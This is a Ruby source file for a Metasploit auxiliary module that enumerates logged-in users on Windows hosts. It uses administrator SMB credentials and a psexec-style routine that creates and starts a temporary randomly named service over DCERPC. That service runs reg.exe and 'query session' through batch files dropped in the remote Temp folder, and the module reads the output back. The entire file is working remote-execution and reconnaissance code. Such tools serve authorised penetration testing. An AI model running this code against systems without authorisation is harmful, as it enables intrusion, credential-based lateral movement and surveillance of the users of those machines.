## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::SMB::Authenticated include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::DCERPC # Aliases for common classes SIMPLE = Rex::Proto::SMB::SimpleClient XCEPT = Rex::Proto::SMB::Exceptions CONST = Rex::Proto::SMB::Constants def initialize super( 'Name' => 'Microsoft Windows Authenticated Logged In Users Enumeration', 'Description' => %Q{ This module uses a valid administrator username and password to enumerate users currently logged in, using a similar technique than the "psexec" utility provided by SysInternals. It uses reg.exe to query the HKU base registry key. }, 'Author' => [ 'Royce Davis @R3dy__ ' # Metasploit module ], 'References' => [ [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) [ 'OSVDB', '3106'], [ 'URL', 'http://www.pentestgeek.com/2012/11/05/finding-logged-in-users-metasploit-module/' ], [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ] ], 'License' => MSF_LICENSE ) register_options([ OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']), OptString.new('USERNAME', [false, 'The name of a specific user to search for', '']), OptString.new('RPORT', [true, 'The Target port', 445]), OptString.new('WINPATH', [true, 'The name of the Windows directory', 'WINDOWS']), ], self.class) deregister_options('RHOST') end def peer return "#{rhost}:#{rport}" end # This is the main controller function def run_host(ip) cmd = "%SYSTEMDRIVE%\\#{datastore['WINPATH']}\\SYSTEM32\\cmd.exe" bat = "%SYSTEMDRIVE%\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat" text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt" smbshare = datastore['SMBSHARE'] #Try and authenticate with given credentials begin connect smb_login rescue StandardError => autherror print_error("#{peer} - #{autherror}") return end keys = get_hku(ip, smbshare, cmd, text, bat) if !keys cleanup_after(cmd, text, bat) disconnect return end keys.each do |key| check_hku_entry(key, ip, smbshare, cmd, text, bat) end cleanup_after(cmd, text, bat) disconnect end # This method runs reg.exe query HKU to get a list of each key within the HKU master key # Returns an array object def get_hku(ip, smbshare, cmd, text, bat) begin # Try and query HKU command = "#{cmd} /C echo reg.exe QUERY HKU ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}" out = psexec(command) output = get_output(ip, smbshare, text) cleanout = Array.new output.each_line { |line| cleanout << line.chomp if line.include?("HKEY") && line.split("-").size == 8 && !line.split("-")[7].include?("_")} return cleanout rescue StandardError => hku_error print_error("#{peer} - Error runing query against HKU. #{hku_error.class}. #{hku_error}") return nil end end # This method will retrive output from a specified textfile on the remote host def get_output(ip, smbshare, file) begin simple.connect("\\\\#{ip}\\#{smbshare}") outfile = simple.open(file, 'ro') output = outfile.read outfile.close simple.disconnect("\\\\#{ip}\\#{smbshare}") return output rescue StandardError => output_error print_error("#{peer} - Error getting command output. #{output_error.class}. #{output_error}.") return false end end def report_user(username) report_note( :host => rhost, :proto => 'tcp', :sname => 'smb', :port => rport, :type => 'smb.domain.loggedusers', :data => "#{username} is logged in", :update => :unique_data ) end # This method checks a provided HKU entry to determine if it is a valid SID # Either returns nil or returns the name of a valid user def check_hku_entry(key, ip, smbshare, cmd, text, bat) begin key = key.split("HKEY_USERS\\")[1].chomp command = "#{cmd} /C echo reg.exe QUERY \"HKU\\#{key}\\Volatile Environment\" ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}" out = psexec(command) if output = get_output(ip, smbshare, text) domain, username, dnsdomain, homepath, logonserver = "","","","","" # Run this IF loop and only check for specified user if datastore['USERNAME'] is specified if datastore['USERNAME'].length > 0 output.each_line do |line| username = line if line.include?("USERNAME") domain = line if line.include?("USERDOMAIN") end if domain.split(" ")[2].to_s.chomp + "\\" + username.split(" ")[2].to_s.chomp == datastore['USERNAME'] print_good("#{peer} - #{datastore['USERNAME']} is logged in") report_user(datastore['USERNAME']) end return end output.each_line do |line| domain = line if line.include?("USERDOMAIN") username = line if line.include?("USERNAME") dnsdomain = line if line.include?("USERDNSDOMAIN") homepath = line if line.include?("HOMEPATH") logonserver = line if line.include?("LOGONSERVER") end if username.length > 0 && domain.length > 0 user = domain.split(" ")[2].to_s + "\\" + username.split(" ")[2].to_s print_good("#{peer} - #{user}") report_user(user.chomp) elsif logonserver.length > 0 && homepath.length > 0 uname = homepath.split('\\')[homepath.split('\\').size - 1] if uname.include?(".") uname = uname.split(".")[0] end user = logonserver.split('\\\\')[1].chomp.to_s + "\\" + uname.to_s print_good("#{peer} - #{user}") report_user(user.chomp) else username = query_session(smbshare, ip, cmd, text, bat) if username hostname = (dnsdomain.split(" ")[2] || "").split(".")[0] || "." user = "#{hostname}\\#{username}" print_good("#{peer} - #{user}") report_user(user.chomp) else print_status("#{peer} - Unable to determine user information for user: #{key}") end end else print_status("#{peer} - Could not determine logged in users") end rescue Rex::Proto::SMB::Exceptions::Error => check_error print_error("#{peer} - Error checking reg key. #{check_error.class}. #{check_error}") return check_error end end # Cleanup module. Gets rid of .txt and .bat files created in the #{datastore['WINPATH']}\Temp directory def cleanup_after(cmd, text, bat) begin # Try and do cleanup command cleanup = "#{cmd} /C del %SYSTEMDRIVE%#{text} & del #{bat}" print_status("#{peer} - Executing cleanup") out = psexec(cleanup) rescue StandardError => cleanuperror print_error("#{peer} - Unable to processes cleanup commands: #{cleanuperror}") print_warning("#{peer} - Maybe %SYSTEMDRIVE%#{text} must be deleted manually") print_warning("#{peer} - Maybe #{bat} must be deleted manually") return cleanuperror end end # Method trys to use "query session" to determine logged in user def query_session(smbshare, ip, cmd, text, bat) begin command = "#{cmd} /C echo query session ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}" out = psexec(command) userline = "" if output = get_output(ip, smbshare, text) output.each_line { |line| userline << line if line[0] == '>' } else return nil end return userline.split(" ")[1].chomp rescue return nil end end # This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!! # Instead of uploading and runing a binary. This method runs a single windows command fed into the #{command} paramater def psexec(command) simple.connect("IPC$") handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) vprint_status("#{peer} - Binding to #{handle} ...") dcerpc_bind(handle) vprint_status("#{peer} - Bound to #{handle} ...") vprint_status("#{peer} - Obtaining a service manager handle...") scm_handle = nil stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) begin response = dcerpc.call(0x0f, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) scm_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("#{peer} - Error: #{e}") return false end servicename = Rex::Text.rand_text_alpha(11) displayname = Rex::Text.rand_text_alpha(16) holdhandle = scm_handle svc_handle = nil svc_status = nil stubdata = scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand NDR.long(0x00000000) + # Errors: Ignore NDR.wstring( command ) + NDR.long(0) + # LoadOrderGroup NDR.long(0) + # Dependencies NDR.long(0) + # Service Start NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) + # Password NDR.long(0) # Password begin vprint_status("#{peer} - Creating the service...") response = dcerpc.call(0x0c, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] svc_status = dcerpc.last_response.stub_data[24,4] end rescue ::Exception => e print_error("#{peer} - Error: #{e}") return false end vprint_status("#{peer} - Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception end vprint_status("#{peer} - Opening service...") begin stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) response = dcerpc.call(0x10, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) svc_handle = dcerpc.last_response.stub_data[0,20] end rescue ::Exception => e print_error("#{peer} - Error: #{e}") return false end vprint_status("#{peer} - Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) begin response = dcerpc.call(0x13, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e print_error("#{peer} - Error: #{e}") return false end vprint_status("#{peer} - Removing the service...") stubdata = svc_handle begin response = dcerpc.call(0x02, stubdata) if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) end rescue ::Exception => e print_error("#{peer} - Error: #{e}") end vprint_status("#{peer} - Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("#{peer} - Error: #{e}") end select(nil, nil, nil, 1.0) simple.disconnect("IPC$") return true end end